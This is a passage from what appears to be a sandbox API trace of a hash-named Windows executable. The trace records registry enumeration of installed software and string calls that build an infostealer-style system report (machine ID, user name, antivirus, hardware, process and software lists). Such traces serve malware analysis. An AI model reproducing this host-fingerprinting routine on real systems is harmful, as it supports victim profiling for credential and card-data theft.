UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\n"
[0054.962] RegCloseKey (hKey=0x514) returned 0x0
[0054.962] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x24, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001B-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.962] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001B-0409-0000-0000000FF1CE}") returned 90
[0054.962] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001B-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.962] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Word MUI (English) 2016", lpcbData=0x1816c0*=0x22) returned 0x0
[0054.962] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Word MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016"
[0054.963] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- 